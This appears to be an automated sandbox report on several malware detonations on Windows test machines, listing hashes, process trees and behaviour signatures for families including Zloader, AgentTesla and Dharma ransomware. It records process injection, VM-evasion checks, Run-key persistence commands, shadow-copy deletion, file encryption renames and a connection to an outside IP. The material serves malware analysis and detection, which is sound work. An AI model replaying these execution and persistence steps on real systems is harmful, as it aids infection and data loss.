SHA512	a9bcc49a8762857e28320de8155352eb80705d9d25ffc6558ef1483181f4b2de7d6418a78b2fdd3c88ceef3f46abcfc2f356a76bb21dac5d4ad59a129468b9f4

C:\Users\Admin\Desktop\HOW_TO_DECYPHER_FILES.txt

MD5	ba60198cc0e38479ce3016a811f46f0f
SHA1	d2d7de8b724c79cccbd17785e7488e35321bf86d
SHA256	c4c7b236b2b11db1b95322ee7e532c21b6dca44ec9677b2cec700f480b5eca3e
SHA512	405be3b59db0a57d2f1a78a23d26cec4637173f57e15bf3e2eb840a8122c5a0cc880f20bd1ee938d9e9bef32ee7d683af2b9cbf610cc245d0d9b3e9f0e787e07

memory/1744-583-0x000007FEF53E0000-0x000007FEF5DCC000-memory.dmp

Analysis: behavioral31

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:13

Platform

win7-20231129-en

Max time kernel

120s

Max time network

127s

Command Line

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\95560f1a465e8ba87a73f8e60a6657545073d55c3b5cfc2ffdaf3d69d46afcf9.dll

Signatures

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2364 wrote to memory of 2368	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Windows\system32\regsvr32.exe

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\95560f1a465e8ba87a73f8e60a6657545073d55c3b5cfc2ffdaf3d69d46afcf9.dll

C:\Windows\SysWOW64\regsvr32.exe

/s C:\Users\Admin\AppData\Local\Temp\95560f1a465e8ba87a73f8e60a6657545073d55c3b5cfc2ffdaf3d69d46afcf9.dll

Network

N/A

Files

N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:13

Platform

win10v2004-20240508-en

Max time kernel

92s

Max time network

132s

Command Line

"C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe"

Signatures

Program crash

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\WerFault.exe	C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe

"C:\Users\Admin\AppData\Local\Temp\0a9f79abd48b95544d7e2b6658637d1eb23067a94e10bf06d05c9ecc73cf4b51.exe"

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 3592 -ip 3592

C:\Windows\SysWOW64\WerFault.exe

C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 1628

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	133.211.185.52.in-addr.arpa	udp
US	8.8.8.8:53	82.90.14.23.in-addr.arpa	udp
US	8.8.8.8:53	228.249.119.40.in-addr.arpa	udp
US	8.8.8.8:53	183.142.211.20.in-addr.arpa	udp
US	8.8.8.8:53	183.59.114.20.in-addr.arpa	udp
US	8.8.8.8:53	206.23.85.13.in-addr.arpa	udp
US	8.8.8.8:53	0.204.248.87.in-addr.arpa	udp
RU	217.8.117.77:80		tcp
US	8.8.8.8:53	100.58.20.217.in-addr.arpa	udp
US	8.8.8.8:53	13.227.111.52.in-addr.arpa	udp
US	8.8.8.8:53	240.221.184.93.in-addr.arpa	udp

Files

memory/3592-0-0x000000007461E000-0x000000007461F000-memory.dmp

memory/3592-1-0x0000000000990000-0x00000000009F0000-memory.dmp

memory/3592-2-0x0000000005A70000-0x0000000006014000-memory.dmp

memory/3592-3-0x00000000053C0000-0x0000000005452000-memory.dmp

memory/3592-5-0x0000000074610000-0x0000000074DC0000-memory.dmp

memory/3592-4-0x0000000005490000-0x000000000549A000-memory.dmp

memory/3592-6-0x0000000008220000-0x000000000874C000-memory.dmp

memory/3592-7-0x0000000007E80000-0x0000000007E9C000-memory.dmp

memory/3592-8-0x000000007461E000-0x000000007461F000-memory.dmp

memory/3592-9-0x0000000074610000-0x0000000074DC0000-memory.dmp

memory/3592-11-0x0000000008940000-0x00000000089DC000-memory.dmp

memory/3592-10-0x0000000008850000-0x000000000889C000-memory.dmp

memory/3592-12-0x0000000074610000-0x0000000074DC0000-memory.dmp

Analysis: behavioral9

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:13

Platform

win7-20240508-en

Max time kernel

121s

Max time network

128s

Command Line

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\2b5e50bc3077610128051bc3e657c3f0e331fb8fed2559c6596911890ea866ba.dll

Signatures

Zloader, Terdot, DELoader, ZeusSphinx

trojan botnet zloader

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 2228 set thread context of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\msiexec.exe	N/A
Token: SeSecurityPrivilege	N/A	C:\Windows\SysWOW64\msiexec.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 1244 wrote to memory of 2228	N/A	C:\Windows\system32\regsvr32.exe	C:\Windows\SysWOW64\regsvr32.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe
PID 2228 wrote to memory of 2288	N/A	C:\Windows\SysWOW64\regsvr32.exe	C:\Windows\SysWOW64\msiexec.exe

Processes

C:\Windows\system32\regsvr32.exe

regsvr32 /s C:\Users\Admin\AppData\Local\Temp\2b5e50bc3077610128051bc3e657c3f0e331fb8fed2559c6596911890ea866ba.dll

C:\Windows\SysWOW64\regsvr32.exe

/s C:\Users\Admin\AppData\Local\Temp\2b5e50bc3077610128051bc3e657c3f0e331fb8fed2559c6596911890ea866ba.dll

C:\Windows\SysWOW64\msiexec.exe

msiexec.exe

Network

N/A

Files

memory/2288-3-0x0000000000090000-0x00000000000C3000-memory.dmp

memory/2288-1-0x00000000000D0000-0x00000000000D1000-memory.dmp

memory/2288-0-0x0000000000090000-0x00000000000C3000-memory.dmp

memory/2288-5-0x0000000000090000-0x00000000000C3000-memory.dmp

memory/2288-6-0x0000000000090000-0x00000000000C3000-memory.dmp

Analysis: behavioral13

Detonation Overview

Submitted

2024-07-01 18:03

Reported

2024-07-01 18:14

Platform

win7-20240221-en

Max time kernel

52s

Max time network

158s

Command Line

C:\Windows\Explorer.EXE

Signatures

AgentTesla

keylogger trojan stealer spyware agenttesla

Danabot

trojan banker danabot

Dharma

ransomware dharma

Formbook

trojan spyware stealer formbook

Gozi

banker trojan gozi

Qakbot/Qbot

trojan banker stealer qakbot

Raccoon

stealer raccoon

Raccoon Stealer V1 payload

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

AgentTesla payload

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

CryptOne packer

cryptone packer

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Deletes shadow copies

ransomware defense_evasion impact execution

Formbook payload

rat

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Looks for VirtualBox Guest Additions in registry

evasion

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	C:\Users\Admin\AppData\Roaming\11.exe	N/A

ReZer0 packer

rezer0

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Renames multiple (75) files with added filename extension

ransomware

Blocklisted process makes network request

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A

Looks for VMWare Tools registry key

evasion

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	C:\Users\Admin\AppData\Roaming\11.exe	N/A

Checks BIOS information in registry

Description	Indicator	Process	Target
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	C:\Users\Admin\AppData\Roaming\11.exe	N/A
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	C:\Users\Admin\AppData\Roaming\11.exe	N/A

Checks QEMU agent file

Description	Indicator	Process	Target
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\13.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\3.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\15.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\13.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\19.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\3.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\20.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\23.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\25.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\28.exe	N/A
File opened (read-only)	C:\Program Files\Qemu-ga\qemu-ga.exe	C:\Users\Admin\AppData\Roaming\7.exe	N/A

Drops startup file

Description	Indicator	Process	Target
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PickerHost.url	C:\Users\Admin\AppData\Roaming\30.exe	N/A
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\16.exe	C:\Users\Admin\AppData\Roaming\16.exe	N/A

Executes dropped EXE

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\4.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\5.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\6.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\7.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\8.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\10.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\9.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\11.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\12.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\14.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\15.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\16.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\17.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\19.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\21.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\18.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\20.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\23.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\25.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\22.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\26.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\28.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\27.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\29.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\30.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\31.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\27.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\24.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\feeed.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\2.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
N/A	N/A	C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\regsvr32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Windows\SysWOW64\rundll32.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\8.exe	N/A

Obfuscated with Agile.Net obfuscator

agilenet

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A
N/A	N/A	N/A	N/A

Reads user/profile data of web browsers

spyware stealer

Adds Run key to start application

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\16.exe = "C:\\Windows\\System32\\16.exe"	C:\Users\Admin\AppData\Roaming\16.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\feeed = "C:\\Windows\\system32\\pcalua.exe -a C:\\Users\\Admin\\AppData\\Roaming\\feeed.exe"	C:\Windows\SysWOW64\reg.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\PANOREREDEOPTIM = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Trainbandanigon6\\Styltendeschris.vbs"	C:\Users\Admin\AppData\Roaming\13.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Dokumen4 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Dibromob\\PRECONCE.vbs"	C:\Users\Admin\AppData\Roaming\3.exe	N/A
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\PANOREREDEOPTIM = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Trainbandanigon6\\Styltendeschris.vbs"	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A

Drops desktop.ini file(s)

Description	Indicator	Process	Target
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\Stationery\Desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\Solitaire\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2297530677-1229052932-2803917579-1000\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\Mahjong\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\Stationery\Desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\Chess\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\$Recycle.Bin\S-1-5-21-2297530677-1229052932-2803917579-1000\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Microsoft Games\Hearts\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\desktop.ini	C:\Users\Admin\AppData\Roaming\16.exe	N/A

Maps connected drives based on registry

Description	Indicator	Process	Target
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	C:\Users\Admin\AppData\Roaming\11.exe	N/A
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	C:\Users\Admin\AppData\Roaming\11.exe	N/A
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	C:\Users\Admin\AppData\Roaming\18.exe	N/A
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	C:\Users\Admin\AppData\Roaming\18.exe	N/A

AutoIT Executable

Description	Indicator	Process	Target
N/A	N/A	N/A	N/A

Drops file in System32 directory

Description	Indicator	Process	Target
File created	C:\Windows\System32\16.exe	C:\Users\Admin\AppData\Roaming\16.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Users\Admin\AppData\Roaming\19.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\15.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\20.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\25.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\28.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\13.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\7.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\3.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Roaming\23.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A
N/A	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 472 set thread context of 1248	N/A	C:\Users\Admin\AppData\Roaming\2.exe	C:\Users\Admin\AppData\Roaming\2.exe
PID 1248 set thread context of 1192	N/A	C:\Users\Admin\AppData\Roaming\2.exe	C:\Windows\Explorer.EXE
PID 1584 set thread context of 1192	N/A	C:\Windows\SysWOW64\colorcpl.exe	C:\Windows\Explorer.EXE
PID 3368 set thread context of 3664	N/A	C:\Users\Admin\AppData\Roaming\30.exe	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
PID 3064 set thread context of 1192	N/A	C:\Users\Admin\AppData\Roaming\18.exe	C:\Windows\Explorer.EXE
PID 2040 set thread context of 4516	N/A	C:\Users\Admin\AppData\Roaming\13.exe	C:\Users\Admin\AppData\Roaming\13.exe
PID 1188 set thread context of 2484	N/A	C:\Users\Admin\AppData\Roaming\3.exe	C:\Users\Admin\AppData\Roaming\3.exe
PID 1584 set thread context of 2660	N/A	C:\Windows\SysWOW64\colorcpl.exe	C:\Windows\SysWOW64\explorer.exe
PID 1720 set thread context of 4224	N/A	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe	C:\Users\Admin\AppData\Local\Temp\Trainbandanigon6\Styltendeschris.exe
PID 2660 set thread context of 1192	N/A	C:\Windows\SysWOW64\explorer.exe	C:\Windows\Explorer.EXE

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0102762.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-masterfs.jar	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\FlipPage\NavigationUp_SelectionSubpicture.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_hu.jar	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\GREEK.TXT.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\Clock.Gadget\images\system_s.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Common Files\microsoft shared\OFFICE14\Office Setup Controller\Office.en-us\SETUP.CHM.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\psfont.properties.ja.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ipschs.xml	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\button-bullet.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Common Files\Microsoft Shared\ink\ar-SA\tipresx.dll.mui	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Common Files\System\DirectDB.dll	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0199279.WMF	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jre7\bin\server\Xusage.txt.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Windows Sidebar\Gadgets\RSSFeeds.Gadget\en-US\settings.html	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.nl_zh_4.4.0.v20140623020002.jar.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files (x86)\Microsoft Office\CLIPART\PUB60COR\J0099184.WMF.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\eclipse.inf.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-javahelp_zh_CN.jar	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-queries_ja.jar	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-host-views.xml.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Mozilla Firefox\browser\VisualElements\PrivateBrowsing_70.png	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Kentucky\Monticello.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\South_Georgia.id-B9954D75.[[email protected]].BOMBO	C:\Users\Admin\AppData\Roaming\16.exe	N/A
